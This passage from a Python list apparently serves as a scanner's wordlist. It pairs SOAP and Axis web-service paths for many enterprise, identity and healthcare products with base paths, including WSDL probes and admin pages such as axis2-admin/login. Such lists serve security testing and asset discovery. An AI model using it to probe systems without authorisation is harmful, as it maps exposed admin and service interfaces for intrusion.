 ('/wsa/wsa1/{rand}', '/wsa/wsa1'),
 ('/wsa/wsa1/Version?wsdl', '/wsa/wsa1'),
 ('/wsa/wsa1', None),
 ('/spmlws/HttpSoap11?wsdl', None),
 ('/i2b2/services/{rand}', '/i2b2/services'),
 ('/i2b2/services/Version?wsdl', '/i2b2/services'),
 ('/i2b2/services/PMService?wsdl', None),
 ('/i2b2/services/PMService', None),
 ('/i2b2/services/QueryToolService', None),
 ('/i2b2/services/OntologyService', None),
 ('/i2b2/services/WorkplaceService', None),
 ('/i2b2/services/FRService', None),
 ('/i2b2/services/IMService', None),
 ('/i2b2/services/listServices', None),
 ('/PrimoWebServices/services/{rand}', '/PrimoWebServices/services'),
 ('/PrimoWebServices/services/Version?wsdl', '/PrimoWebServices/services'),
 ('/PrimoWebServices/services/searcher?wsdl', None),
 ('/PrimoWebServices/services/eshelf?wsdl', None),
 ('/PrimoWebServices/services/reviews?wsdl', None),
 ('/PrimoWebServices/services/tags?wsdl', None),
 ('/PrimoWebServices/services/searcher', None),
 ('/PrimoWebServices/services/eshelf', None),
 ('/PrimoWebServices/services/eshelfstructure', None),
 ('/PrimoWebServices/services/reviews', None),
 ('/PrimoWebServices/services/tags', None),
 ('/BrmWebServices/BRMCUSTServices_v2?wsdl', None),
 ('/BrmWebServices/BRMCUSTServices_v2', None),
 ('/c4ws/services/{rand}', '/c4ws/services'),
 ('/c4ws/services/Version?wsdl', '/c4ws/services'),
 ('/OrderManagement/entity/wsapi?WSDL', None),
 ('/OrderManagement/wsapi', None),
 ('/OrderManagement/diagnostic/wsapi', None),
 ('/OrderManagement/entity/wsapi', None),
 ('/services/ArcotRiskFortAdminSvc', None),
 ('/services/RiskFortEvaluateRiskSvc', None),
 ('/uapws/service/nc.uap.oba.update.IUpdateService?wsdl', None),
 ('/uapws/service/nc.itf.ses.inittool.PortalSESInitToolService?wsdl', None),
 ('/uapws/service/nc.itf.ses.inittool.PortalSESInitToolService', None),
 ('/uapws/service/nc.uap.oba.update.IUpdateService', None),
 ('/ws/TririgaWS?WSDL', None),
 ('/services/Query?WSDL', None),
 ('/services/BoRecord?WSDL', None),
 ('/services/WFTaskActions?WSDL', None),
 ('/services/CadQuery?WSDL', None),
 ('/ws/TririgaWS', None),
 ('/services/Query', None),
 ('/services/BoRecord', None),
 ('/services/WFTaskActions', None),
 ('/services/CadQuery', None),
 ('/portal/services/itcBulletin?wsdl', None),
 ('/portal/services/clientServer?wsdl', None),
 ('/portal/services/clientServer', None),
 ('/portal/services/itcBulletin', None),
 ('/seeyon/services/{rand}', '/seeyon/services'),
 ('/seeyon/services/Version?wsdl', '/seeyon/services'),
 ('/seeyon/services/authorityService?wsdl', None),
 ('/seeyon/services/authorityService', None),
 ('/DataServices/servlet/webservices', None),
 ('/selfservice/service/operatorReportorRoamService?wsdl', None),
 ('/selfservice/service/operatorReportorRoamService', None),
 ('/uapws/service/{rand}', '/uapws/service'),
 ('/uapws/service/Version?wsdl', '/uapws/service'),
 ('/uapws/service', None),
 ('/uapws/soapFormat.ajax', None),
 ('/xtHisService/services/{rand}', '/xtHisService/services'),
 ('/xtHisService/services/Version?wsdl', '/xtHisService/services'),
 ('/xtHisService/services/nzzManager?wsdl', None),
 ('/xtHisService/services/nzzManager', None),
 ('/axis2/rest/PMService', None),
 ('/sys/webservice/sysSynchroGetOrgWebService?wsdl', None),
 ('/sys/webservice/sysFormMainDataInsystemWebservice', None),
 ('/sys/webservice/sysSynchroGetOrgWebService', None),
 ('/sys/webservice/sysNotifyTodoWebService', None),
 ('/sys/webservice/kmImeetingResWebService', None),
 ('/sys/webservice/kmImeetingBookWebService', None),
 ('/sys/webservice/loginWebserviceService', None),
 ('/sys/webservice/sysTagWebService', None),
 ('/sys/webservice/thirdImSyncForKKWebService', None),
 ('/sys/webservice/wechatWebserviceService', None),
 ('/sys/webservice/hrStaffWebService', None),
 ('/selfservice/service/{rand}', '/selfservice/service'),
 ('/selfservice/service/Version?wsdl', '/selfservice/service'),
 ('/webservices/10/2/Integrity/?wsdl', None),
 ('/webservices/2009/Generic/?wsdl', None),
 ('/webservices/10/2/Integrity/', None),
 ('/webservices/2009/Generic/', None),
 ('/axis2-AWC/services/{rand}', '/axis2-AWC/services'),
 ('/axis2-AWC/services/Version?wsdl', '/axis2-AWC/services'),
 ('/axis2-AWC/services/listServices', None),
 ('/services/hpovou/EventService?WSDL', None),
 ('/axis2/rest/{rand}', '/axis2/rest'),
 ('/axis2/rest/Version?wsdl', '/axis2/rest'),
 ('/sys/webservice/{rand}', '/sys/webservice'),
 ('/sys/webservice/Version?wsdl', '/sys/webservice'),
 ('/ode/processes/DeploymentService?wsdl', None),
 ('/ode/processes/InstanceManagement?wsdl', None),
 ('/ode/processes/ProcessManagement?wsdl', None),
 ('/ode/processes/DeploymentService', None),
 ('/ode/processes/InstanceManagement', None),
 ('/ode/processes/ProcessManagement', None),
 ('/petals/services/{rand}', '/petals/services'),
 ('/petals/services/Version?wsdl', '/petals/services'),
 ('/reqpro/services/{rand}', '/reqpro/services'),
 ('/reqpro/services/Version?wsdl', '/reqpro/services'),
 ('/reqpro/services/RequisiteProWebservice?wsdl', None),
 ('/reqpro/services/RequisiteProWebservice', None),
 ('/www/manager-service/services/{rand}', '/www/manager-service/services'),
 ('/www/manager-service/services/Version?wsdl', '/www/manager-service/services'),
 ('/www/manager-service/services/ResourceService?wsdl', None),
 ('/www/manager-service/services/CaseService?wsdl', None),
 ('/www/manager-service/services/GroupService?wsdl', None),
 ('/www/manager-service/services/ReportService?wsdl', None),
 ('/www/manager-service/services/SecurityEventService?wsdl', None),
 ('/www/manager-service/services/ResourceService', None),
 ('/www/manager-service/services/CaseService', None),
 ('/www/manager-service/services/GroupService', None),
 ('/www/manager-service/services/ReportService', None),
 ('/www/manager-service/services/SecurityEventService', None),
 ('/www/manager-service/services/ArchiveReportService', None),
 ('/www/manager-service/services/DashboardService', None),
 ('/www/manager-service/services/DataMonitorService', None),
 ('/www/manager-service/services/FileResourceService', None),
 ('/ode/processes/{rand}', '/ode/processes'),
 ('/ode/processes/Version?wsdl', '/ode/processes'),
 ('/eventmanager/services/{rand}', '/eventmanager/services'),
 ('/eventmanager/services/Version?wsdl', '/eventmanager/services'),
 ('/eventmanager/services/ALFEventManagerDocLit?wsdl', None),
 ('/eventmanager/services/ALFEventManagerOneWayDocLit?wsdl', None),
 ('/eventmanager/services/ALFEventManagerDocLit', None),
 ('/eventmanager/services/ALFEventManagerOneWayDocLit', None),
 ('/webservice/Manager?WSDL', None),
 ('/webservice/Manager?wsdl', None),
 ('/webservice/Manager', None),
 ('/dswsbobje/services/listServices', None),
 ('/dmwebservices2/services/{rand}', '/dmwebservices2/services'),
 ('/dmwebservices2/services/Version?wsdl', '/dmwebservices2/services'),
 ('/dmwebservices2/services/dmwebservices?wsdl', None),
 ('/dmwebservices2/services/dmwebservices/', None),
 ('/WebServiceImpl/services/FlashServiceImpl', None),
 ('/WebServiceImpl/services/VirtualStandbyServiceImpl', None),
 ('/WebServiceImpl/services/listServices', None),
 ('/oaam_server/services/{rand}', '/oaam_server/services'),
 ('/oaam_server/services/Version?wsdl', '/oaam_server/services'),
 ('/oaam_server/services', None),
 ('/openmeetings/services/{rand}', '/openmeetings/services'),
 ('/openmeetings/services/Version?wsdl', '/openmeetings/services'),
 ('/openmeetings/services/services', None),
 ('/soap/servlet/{rand}', '/soap/servlet'),
 ('/soap/servlet', '/soap/servlet'),
 ('/soap/servlet/Version?wsdl', '/soap/servlet'),
 ('/soap/servlet/soaprouter', None),
 ('/ITIMWebServices/services/{rand}', '/ITIMWebServices/services'),
 ('/ITIMWebServices/services/Version?wsdl', '/ITIMWebServices/services'),
 ('/ITIMWebServices/services/WSItimService?wsdl', None),
 ('/ITIMWebServices/services/WSPersonService?wsdl', None),
 ('/ITIMWebServices/services/WSItimService', None),
 ('/ITIMWebServices/services/WSPersonService', None),
 ('/xmlpserver/services/XMLPService', None),
 ('/AdaptiveAuthentication/services/{rand}', '/AdaptiveAuthentication/services'),
 ('/AdaptiveAuthentication/services/Version?wsdl', '/AdaptiveAuthentication/services'),
 ('/AdaptiveAuthentication/services/AdaptiveAuthentication?wsdl', None),
 ('/AdaptiveAuthentication/services/AdaptiveAuthentication', None),
 ('/oaam_server/services?wsdl', None),
 ('/dswsbobje/axis2-web/HappyAxis.jsp', None),
 ('/dswsbobje/axis2-admin/login', None),
 ('/management/services/{rand}', '/management/services'),
 ('/management/services/Version?wsdl', '/management/services'),
 ('/management/services/EdgeServiceConsoleImpl', None),
 ('/WebServiceImpl/axis2-web/HappyAxis.jsp', None),
 ('/WebServiceImpl/axis2-admin/login', None),
 ('/soap/admin/servlet/soaprouter', None),
 ('/ITIMWebServices/testITIMConnection.jsp', None),
 ('/concerto/services/{rand}', '/concerto/services'),
 ('/concerto/services/Version?wsdl', '/concerto/services'),
 ('/concerto/services/RepositoryService', None),
 ('/concerto/services/CollectorService', None),
 ('/concerto/services/Concerto', None),
 ('/concerto/services/SampleService', None),
 ('/IDMProv/vdx/service?wsdl', None),
 ('/IDMProv/notification/service?wsdl', None),
 ('/IDMProv/vdx/service', None),
 ('/IDMProv/notification/service', None),
 ('/seeyon/services/messageService?wsdl', None),
 ('/seeyon/services/messageService', None),
 ('/imcws/services/Version?method=getVersion', None),
 ('/AddressBookJ2WE/services/{rand}', '/AddressBookJ2WE/services'),
 ('/AddressBookJ2WE/services/Version?wsdl', '/AddressBookJ2WE/services'),
 ('/Bank/services/{rand}', '/Bank/services'),
 ('/Bank/services/Version?wsdl', '/Bank/services'),
 ('/GreenhouseEJB/services/{rand}', '/GreenhouseEJB/services'),
 ('/GreenhouseEJB/services/Version?wsdl', '/GreenhouseEJB/services'),
 ('/opc/services/{rand}', '/opc/services'),
 ('/opc/services/Version?wsdl', '/opc/services'),
 ('/StockQuote/services/{rand}', '/StockQuote/services'),
 ('/StockQuote/services/Version?wsdl', '/StockQuote/services'),
 ('/AddressBookW2JE/services/{rand}', '/AddressBookW2JE/services'),
 ('/AddressBookW2JE/services/Version?wsdl', '/AddressBookW2JE/services'),
 ('/OrderProcessorEJB/services/{rand}', '/OrderProcessorEJB/services'),
 ('/OrderProcessorEJB/services/Version?wsdl', '/OrderProcessorEJB/services'),
 ('/WarehouseEJB/services/{rand}', '/WarehouseEJB/services'),
 ('/WarehouseEJB/services/Version?wsdl', '/WarehouseEJB/services'),
 ('/AddressBookJ2WE/services/AddressBook/wsdl/', None),
 ('/Bank/services/Transfer_SEI/wsdl', None),
 ('/GreenhouseEJB/services/GreenhouseFront/wsdl/', None),
 ('/StockQuote/services/xmltoday-delayed-quotes/wsdl/', None),
 ('/AddressBookJ2WE/services/AddressBook', None),
 ('/AddressBookW2JE/services/AddressBook', None),
 ('/Bank/services/Transfer_SEI', None),
 ('/GreenhouseEJB/services/GreenhouseFront', None),
 ('/opc/services/BrokerServiceIntfPort', None),
 ('/opc/services/OrderTrackingIntfPort', None),
 ('/opc/services/PurchaseOrderIntfPort', None),
 ('/OrderProcessorEJB/services/FrontGate', None),
 ('/StockQuote/services/xmltoday-delayed-quotes', None),
 ('/WarehouseEJB/services/WarehouseFront', None),
 ('/i2b2/rest/PMService', None),
 ('/SASBIWS/services/{rand}', '/SASBIWS/services'),
 ('/SASBIWS/services/Version?wsdl', '/SASBIWS/services'),
 ('/Rhythmyx/webservices/contentSOAP?wsdl', None),
 ('/Rhythmyx/webservices/contentSOAP', None),
 ('/i2b2/rest/{rand}', '/i2b2/rest'),
 ('/i2b2/rest/Version?wsdl', '/i2b2/rest'),
 ('/_common/webservices/Eval?wsdl', None),
 ('/_common/webservices/Eval', None),
 ('/_common/webservices/Report', None),
 ('/interact/services/{rand}', '/interact/services'),
 ('/interact/services/Version?wsdl', '/interact/services'),
 ('/interact/services/InteractService?wsdl', None),
 ('/interact/services/InteractService', None),
 ('/WebServiceImpl/services/FlashServiceImpl?wsdl', None),
 ('/WebServiceImpl/services/VirtualStandbyServiceImpl?wsdl', None),
 ('/PASJava/FileReceived?wsdl', None),
 ('/PASJava/ExposedComputation?wsdl', None),
 ('/PASJava/ValuePolicy?wsdl', None),
 ('/PASJava/ProcessPolicy?wsdl', None),
 ('/PASJava/UserService?wsdl', None),
 ('/PASJava/FileReceived', None),
 ('/PASJava/ExposedComputation', None),
 ('/PASJava/ValuePolicy', None),
 ('/PASJava/ProcessPolicy', None),
 ('/PASJava/UserService', None),
 ('/plan/services/{rand}', '/plan/services'),
 ('/plan/services/Version?wsdl', '/plan/services'),
 ('/opal2/services/{rand}', '/opal2/services'),
 ('/opal2/services/Version?wsdl', '/opal2/services'),
 ('/grouper-ws/services/{rand}', '/grouper-ws/services'),
 ('/grouper-ws/services/Version?wsdl', '/grouper-ws/services'),
 ('/grouperWs/services/{rand}', '/grouperWs/services'),
 ('/grouperWs/services/Version?wsdl', '/grouperWs/services'),
 ('/grouper-ws/services/GrouperService?wsdl', None),
 ('/grouper-ws/services/GrouperService_v2_0?wsdl', None),
 ('/grouperWs/services/GrouperService?wsdl', None),
 ('/grouper-ws/services/GrouperService', None),
 ('/grouper-ws/services/GrouperService_v2_0', None),
 ('/grouperWs/services/GrouperService', None),
 ('/SASWIPSoapServices/services/{rand}', '/SASWIPSoapServices/services'),
 ('/SASWIPSoapServices/services/Version?wsdl', '/SASWIPSoapServices/services'),
 ('/SASWIPSoapServices/services/ReportRepositoryService?wsdl', None),
 ('/SASWIPSoapServices/services/ServiceRegistry?wsdl', None),
 ('/SASWIPSoapServices/services/ReportRepositoryService', None),
 ('/SASWIPSoapServices/services/ServiceRegistry', None),
 ('/imws/services/{rand}', '/imws/services'),
 ('/imws/services/Version?wsdl', '/imws/services'),
 ('/imws/services/ImpactManager?wsdl', None),
 ('/imws/services/ImpactManager', None),
 ('/foundation-webapp/services/{rand}', '/foundation-webapp/services'),
 ('/foundation-webapp/services/Version?wsdl', '/foundation-webapp/services'),
 ('/openmeetings/services/UserService?wsdl', None),
 ('/openmeetings/services/RoomService?wsdl', None),
 ('/openmeetings/services/UserService', None),
 ('/openmeetings/services/RoomService', None),
 ('/lmc/services/{rand}', '/lmc/services'),
 ('/lmc/services/Version?wsdl', '/lmc/services'),
 ('/lmc/services/JobSubmission?wsdl', None),
 ('/lmc/services/JobSubmission', None),
 ('/nbapi/audittrail?wsdl', None),
 ('/nbapi/device?wsdl', None),
 ('/nbapi/event?wsdl', None),
 ('/nbapi/issue?wsdl', None),
 ('/nbapi/rules?wsdl', None),
 ('/nbapi/search?wsdl', None),
 ('/nbapi/audittrail', None),
 ('/nbapi/device', None),
 ('/nbapi/event', None),
 ('/nbapi/issue', None),
 ('/nbapi/rules', None),
 ('/nbapi/search', None),
 ('/APG-WS/wsapi/db?wsdl', None),
 ('/APG-WS/wsapi/db', None),
 ('/CommandCenterWebServices/AuthenticationAndAuthorizationServicePort?wsdl', None),
 ('/CommandCenterWebServices/NodeManagementServicePort?wsdl', None),
 ('/CommandCenterWebServices/UserManagementServicePort?wsdl', None),
 ('/CommandCenterWebServices/AuthenticationAndAuthorizationServicePort', None),
 ('/CommandCenterWebServices/NodeManagementServicePort', None),
 ('/CommandCenterWebServices/UserManagementServicePort', None),
 ('/apis/soap/{rand}', '/apis/soap'),
 ('/apis/soap/Version?wsdl', '/apis/soap'),
 ('/apis/soap/v1', None),
 ('/idm/servlet/{rand}', '/idm/servlet'),
 ('/idm/servlet', '/idm/servlet'),
 ('/idm/servlet/Version?wsdl', '/idm/servlet'),
 ('/idm/servlet/rpcrouter2', None),
 ('/OVSWS/ServerPoolService.wsdl', None),
 ('/nbapi/{rand}', '/nbapi'),
 ('/nbapi/Version?wsdl', '/nbapi'),
 ('/les-services/services/{rand}', '/les-services/services'),
 ('/les-services/services/Version?wsdl', '/les-services/services'),
 ('/ot-authws/services/{rand}', '/ot-authws/services'),
 ('/ot-authws/services/Version?wsdl', '/ot-authws/services'),
 ('/les-services/services/Authentication?wsdl', None),
 ('/ot-authws/services/Authentication?wsdl', None),
 ('/les-services/services/Authentication', None),
 ('/ot-authws/services/Authentication', None),
 ('/APG-WS/wsapi/{rand}', '/APG-WS/wsapi'),
 ('/APG-WS/wsapi/Version?wsdl', '/APG-WS/wsapi'),
 ('/iw/services/cm/2.0/accessservice?wsdl', None),
 ('/iw/services/cm/2.0/accessservice', None),
 ('/CommandCenterWebServices/{rand}', '/CommandCenterWebServices'),
 ('/CommandCenterWebServices/Version?wsdl', '/CommandCenterWebServices'),
 ('/vbr_soa/services/{rand}', '/vbr_soa/services'),
 ('/vbr_soa/services/Version?wsdl', '/vbr_soa/services'),
 ('/vbr_wsapi/services/{rand}', '/vbr_wsapi/services'),
 ('/vbr_wsapi/services/Version?wsdl', '/vbr_wsapi/services'),
 ('/OVSWS/{rand}', '/OVSWS'),
 ('/OVSWS/Version?wsdl', '/OVSWS'),
 ('/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf', None),
 ('/imssoap/services/{rand}', '/imssoap/services'),
 ('/imssoap/services/Version?wsdl', '/imssoap/services'),
 ('/iw/services/cm/2.0/{rand}', '/iw/services/cm/2.0'),
 ('/iw/services/cm/2.0/Version?wsdl', '/iw/services/cm/2.0'),
 ('/FileStoreWebService/axis2-admin/', None),
 ('/FileStoreWebService/axis2-web/index.jsp', None),
 ('/mws-ws/services/{rand}', '/mws-ws/services'),
 ('/mws-ws/services/Version?wsdl', '/mws-ws/services'),
 ('/arcotuds/services/{rand}', '/arcotuds/services'),
 ('/arcotuds/services/Version?wsdl', '/arcotuds/services'),
 ('/arcotuds/services/ArcotUserRegistrySvc', None),
 ('/arcotuds/services/ArcotConfigRegistrySvc', None),
 ('/arcotuds/services/ArcotUserRegistryMgmtSvc', None),
 ('/idm/servlet/spespml', None),
 ('/wsstack/services/{rand}', '/wsstack/services'),
 ('/wsstack/services/Version?wsdl', '/wsstack/services'),
 ('/axl/{rand}', '/axl'),
 ('/axl/Version?wsdl', '/axl'),
 ('/axl/', None),
 ('/qxi/services/{rand}', '/qxi/services'),
 ('/qxi/services/Version?wsdl', '/qxi/services'),
 ('/qxi/services/QdocWebService?wsdl', None),
 ('/qxi/services/QdocWebService', None),
 ('/EyrAPI/EyrAPIConfiguration/{rand}', '/EyrAPI/EyrAPIConfiguration'),
 ('/EyrAPI/EyrAPIConfiguration/Version?wsdl', '/EyrAPI/EyrAPIConfiguration'),
 ('/FileStoreWebService/{rand}', '/FileStoreWebService'),
 ('/FileStoreWebService/Version?wsdl', '/FileStoreWebService'),
 ('/FileStoreWebService', None),
 ('/MedRestoreWebService', None),
 ('/SQLRestoreWebService', None),
 ('/imssoap/services/PhoneBookSOAPPort', None),
 ('/imssoap/services/IMSPHBKPort', None),
 ('/EndevorService/services/{rand}', '/EndevorService/services'),
 ('/EndevorService/services/Version?wsdl', '/EndevorService/services'),
 ('/mws-ws/services/WS_MWS001MI?wsdl', None),
 ('/mws-ws/services/API_MNS150MI_GetUserData?wsdl', None),
 ('/mws-ws/services/WS_MWS001MI', None),
 ('/mws-ws/services/API_MNS150MI_GetUserData', None),
 ('/idm/spespml', None),
 ('/soap?wsdl', None),
 ('/albpmServices/{rand}', '/albpmServices'),
 ('/albpmServices/Version?wsdl', '/albpmServices'),
 ('/fuegoServices/{rand}', '/fuegoServices'),
 ('/fuegoServices/Version?wsdl', '/fuegoServices'),
 ('/service/services/ServiceEndPoint', None),
 ('/sanscreenapi?wsdl', None),
 ('/WSRRCoreSDO/services/{rand}', '/WSRRCoreSDO/services'),
 ('/WSRRCoreSDO/services/Version?wsdl', '/WSRRCoreSDO/services'),
 ('/WSRRCoreSDO/services/WSRRCoreSDOPort', None),
 ('/webacs/services/{rand}', '/webacs/services'),
 ('/webacs/services/Version?wsdl', '/webacs/services'),
 ('/webacs/services/ConfigTemplateApi?wsdl', None),
 ('/webacs/services/ConfigTemplateApi', None),
 ('/imssoap/imssoapivp.html', None),
 ('/imssoap/', None),
 ('/srm/services/{rand}', '/srm/services'),
 ('/srm/services/Version?wsdl', '/srm/services'),
 ('/srm/managerv2?wsdl', None),
 ('/srm/managerv2', None),
 ('/srm/servlet/AxisServlet', None),
 ('/srm/v2/server?wsdl', None),
 ('/srm/v2/server', None),
 ('/ocw/services/{rand}', '/ocw/services'),
 ('/ocw/services/Version?wsdl', '/ocw/services'),
 ('/ocw/ws/{rand}', '/ocw/ws'),
 ('/ocw/ws/Version?wsdl', '/ocw/ws'),
 ('/ocw/services/AuthenticationService?wsdl', None),
 ('/ocw/ws/AuthenticationService?wsdl', None),
 ('/ocw/services/AuthenticationService', None),
 ('/ocw/ws/AuthenticationService', None),
 ('/ocw/ws', None),
 ('/policymanager/services/{rand}', '/policymanager/services'),
 ('/policymanager/services/Version?wsdl', '/policymanager/services'),
 ('/policymanager/services/RegistrationService?wsdl', None),
 ('/logapp20/services/{rand}', '/logapp20/services'),
 ('/logapp20/services/Version?wsdl', '/logapp20/services'),
 ('/logapp20/services/AuthenticationService?wsdl', None),
 ('/wcm/services/{rand}', '/wcm/services'),
 ('/wcm/services/Version?wsdl', '/wcm/services'),
 ('/wcm/services/trswcm:SOAPService?wsdl', None),
 ('/essbase-webservices/AdminService?wsdl', None),
 ('/essbase-webservices/QueryService?wsdl', None),
 ('/aps/APS', None),
 ('/aps/JAPI', None),
 ('/aps/SmartView', None),
 ('/aps/XMLA', None),
 ('/essbase-webservices/AdminService', None),
 ('/essbase-webservices/QueryService', None),
 ('/moa-spss/services/{rand}', '/moa-spss/services'),
 ('/moa-spss/services/Version?wsdl', '/moa-spss/services'),
 ('/moa-spss/services/SignatureVerification?wsdl', None),
 ('/moa-spss/services/SignatureVerification', None),
 ('/webrun/services/{rand}', '/webrun/services'),
 ('/webrun/services/Version?wsdl', '/webrun/services'),
 ('/webrun/services/WFRWebService?wsdl', None),
 ('/srm/{rand}', '/srm'),
 ('/srm/Version?wsdl', '/srm'),
 ('/glite-data-transfer-fts/services/{rand}', '/glite-data-transfer-fts/services'),
 ('/glite-data-transfer-fts/services/Version?wsdl', '/glite-data-transfer-fts/services'),
 ('/glite-data-transfer-fts/services/FileTransfer?wsdl', None),
 ('/glite-data-transfer-fts/services/FileTransfer', None),
 ('/ce-monitor/services/{rand}', '/ce-monitor/services'),
 ('/ce-monitor/services/Version?wsdl', '/ce-monitor/services'),
 ('/ig/services/{rand}', '/ig/services'),
 ('/ig/services/Version?wsdl', '/ig/services'),
 ('/ce-monitor/services/CEMonitor?wsdl', None),
 ('/ce-monitor/services/CEMonitor', None),
 ('/ig/services/CEInfoCollector', None),
 ('/gums/services/{rand}', '/gums/services'),
 ('/gums/services/Version?wsdl', '/gums/services'),
 ('/gums/servlet/AxisServlet', '/gums/servlet/AxisServlet'),
 ('/gums/servlet/AxisServlet/Version?wsdl', '/gums/servlet/AxisServlet'),
 ('/gums/services/GUMSXACMLAuthorizationServicePort?wsdl', None),
 ('/gums/services/GUMSAuthorizationServicePort', None),
 ('/pap/services/{rand}', '/pap/services'),
 ('/pap/services/Version?wsdl', '/pap/services'),
 ('/pap/servlet/AxisServlet', '/pap/servlet/AxisServlet'),
 ('/pap/servlet/AxisServlet/Version?wsdl', '/pap/servlet/AxisServlet'),
 ('/pap/services/XACMLPolicyManagementService?wsdl', None),
 ('/tbw/services/{rand}', '/tbw/services'),
 ('/tbw/services/Version?wsdl', '/tbw/services'),
 ('/tbwhomolog/services/{rand}', '/tbwhomolog/services'),
 ('/tbwhomolog/services/Version?wsdl', '/tbwhomolog/services'),
 ('/tbw/services/nfseSOAP?wsdl', None),
 ('/tbw/services/nfseSOAP', None),
 ('/tbw/services/NotaFiscalNacional?wsdl', None),
 ('/tbwhomolog/services/nfseSOAP?wsdl', None),
 ('/webrun/webservices/NFEServices.jws?wsdl', None),
 ('/qisserver/services/{rand}', '/qisserver/services'),
 ('/qisserver/services/Version?wsdl', '/qisserver/services'),
 ('/lsf/services/{rand}', '/lsf/services'),
 ('/lsf/services/Version?wsdl', '/lsf/services'),
 ('/qisserver/services/dbinterface?wsdl', None),
 ('/qisserver/services/dbinterface', None),
 ('/lsf/services/dbinterface?wsdl', None),
 ('/funambol/services/{rand}', '/funambol/services'),
 ('/funambol/services/Version?wsdl', '/funambol/services'),
 ('/funambol/servlet/AxisServlet', '/funambol/servlet/AxisServlet'),
 ('/funambol/servlet/AxisServlet/Version?wsdl', '/funambol/servlet/AxisServlet'),
 ('/WsNFe2/LoteRps.jws?wsdl', None),
 ('/WsNFe2/LoteRps.jws', None),
 ('/Api/services/{rand}', '/Api/services'),
 ('/Api/services/Version?wsdl', '/Api/services'),
 ('/soaplab2-axis/services/{rand}', '/soaplab2-axis/services'),
 ('/soaplab2-axis/services/Version?wsdl', '/soaplab2-axis/services'),
 ('/soaplab/services/{rand}', '/soaplab/services'),
 ('/soaplab/services/Version?wsdl', '/soaplab/services'),
 ('/gp/services/{rand}', '/gp/services'),
 ('/gp/services/Version?wsdl', '/gp/services'),
 ('/gp/servlet/AxisServlet', '/gp/servlet/AxisServlet'),
 ('/gp/servlet/AxisServlet/Version?wsdl', '/gp/servlet/AxisServlet'),
 ('/gp/services/Analysis?wsdl', None),
 ('/gp/services/Analysis', None),
 ('/nfe/webservices/NFEServices.jws?wsdl', None),
 ('/nfe/webservices/NFEServices.jws', None),
 ('/homologacao/webservices/NFEServices.jws?wsdl', None),
 ('/SRW/services/{rand}', '/SRW/services'),
 ('/SRW/services/Version?wsdl', '/SRW/services'),
 ('/srw/services/{rand}', '/srw/services'),
 ('/srw/services/Version?wsdl', '/srw/services'),
 ('/srw/services/SRW?wsdl', None),
 ('/genesisWS/services/{rand}', '/genesisWS/services'),
 ('/genesisWS/services/Version?wsdl', '/genesisWS/services'),
 ('/genesisws/services/{rand}', '/genesisws/services'),
 ('/genesisws/services/Version?wsdl', '/genesisws/services'),
 ('/ldbnrwws/services/{rand}', '/ldbnrwws/services'),
 ('/ldbnrwws/services/Version?wsdl', '/ldbnrwws/services'),
 ('/genesisWS/services/ExportService?wsdl', None),
 ('/ldbnrwws/services/ExportService?wsdl', None),
 ('/WebGoat/services/{rand}', '/WebGoat/services'),
 ('/WebGoat/services/Version?wsdl', '/WebGoat/services'),
 ('/WebGoat/services/SoapRequest?wsdl', None),
 ('/WebGoat/services/SoapRequest', None),
 ('/comerzzia/ws/services/{rand}', '/comerzzia/ws/services'),
 ('/comerzzia/ws/services/Version?wsdl', '/comerzzia/ws/services'),
 ('/comerzzia/ws/services/WSClientes?wsdl', None),
 ('/SRW/search/{rand}', '/SRW/search'),
 ('/SRW/search/Version?wsdl', '/SRW/search'),
 ('/srw/search/{rand}', '/srw/search'),
 ('/srw/search/Version?wsdl', '/srw/search'),
 ('/webct/axis/{rand}', '/webct/axis'),
 ('/webct/axis/Version?wsdl', '/webct/axis'),
 ('/webct/axis/services/{rand}', '/webct/axis/services'),
 ('/webct/axis/services/Version?wsdl', '/webct/axis/services'),
 ('/fedoragsearch/services/{rand}', '/fedoragsearch/services'),
 ('/fedoragsearch/services/Version?wsdl', '/fedoragsearch/services'),
 ('/fedoragsearch/soap/{rand}', '/fedoragsearch/soap'),
 ('/fedoragsearch/soap/Version?wsdl', '/fedoragsearch/soap'),
 ('/fedoragsearch/services/FgsOperations?wsdl', None),
 ('/fedoragsearch/services/FgsOperations', None),
 ('/parabuild/integration/webservice/Parabuild?wsdl', None),
 ('/shark/WAPI?wsdl', None),
 ('/shark/XPDLBrowser?wsdl', None),
 ('/obpm/services/{rand}', '/obpm/services'),
 ('/obpm/services/Version?wsdl', '/obpm/services'),
 ('/obpm/servlet/AxisServlet', '/obpm/servlet/AxisServlet'),
 ('/obpm/servlet/AxisServlet/Version?wsdl', '/obpm/servlet/AxisServlet'),
 ('/obpm/services/UserService?wsdl', None),
 ('/obpm/services/WorkService?wsdl', None),
 ('/CaniasWebService/services/{rand}', '/CaniasWebService/services'),
 ('/CaniasWebService/services/Version?wsdl', '/CaniasWebService/services'),
 ('/caniasLiveWS-v2/services/{rand}', '/caniasLiveWS-v2/services'),
 ('/caniasLiveWS-v2/services/Version?wsdl', '/caniasLiveWS-v2/services'),
 ('/CaniasWebService/services/CaniasWebService?wsdl', None),
 ('/caniasLiveWS-v2/services/CaniasWebService?wsdl', None),
 ('/infoglueCMS/services/{rand}', '/infoglueCMS/services'),
 ('/infoglueCMS/services/Version?wsdl', '/infoglueCMS/services'),
 ('/infoglueCMS/services/RemoteContentService?wsdl', None),
 ('/infoglueCMS/services/RemoteUserService', None),
 ('/parabuild/integration/webservice/{rand}', '/parabuild/integration/webservice'),
 ('/parabuild/integration/webservice/Version?wsdl', '/parabuild/integration/webservice'),
 ('/wct/services/{rand}', '/wct/services'),
 ('/wct/services/Version?wsdl', '/wct/services'),
 ('/wct-store/services/{rand}', '/wct-store/services'),
 ('/wct-store/services/Version?wsdl', '/wct-store/services'),
 ('/harvest-agent-h1/services/{rand}', '/harvest-agent-h1/services'),
 ('/harvest-agent-h1/services/Version?wsdl', '/harvest-agent-h1/services'),
 ('/harvest-agent-h3/services/{rand}', '/harvest-agent-h3/services'),
 ('/harvest-agent-h3/services/Version?wsdl', '/harvest-agent-h3/services'),
 ('/wct/services/urn:WebCuratorTool?wsdl', None),
 ('/wct-store/services/urn:DigitalAssetStore?wsdl', None),
 ('/harvest-agent-h3/services/urn:HarvestAgent?wsdl', None),
 ('/shark/{rand}', '/shark'),
 ('/shark/Version?wsdl', '/shark'),
 ('/openMAXIMS/services/{rand}', '/openMAXIMS/services'),
 ('/openMAXIMS/services/Version?wsdl', '/openMAXIMS/services'),
 ('/openMAXIMS/services/MAXIMSWebService?wsdl', None),
 ('/openMAXIMS/services/WebService', None),
 ('/Node.WebServices/services/{rand}', '/Node.WebServices/services'),
